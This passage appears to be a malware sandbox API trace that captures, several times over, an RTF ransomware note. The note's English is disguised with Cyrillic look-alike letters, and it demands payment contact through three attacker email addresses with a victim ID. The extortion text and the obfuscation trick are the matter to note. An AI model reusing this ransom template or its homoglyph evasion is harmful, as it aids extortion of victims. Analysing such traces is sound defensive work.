t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 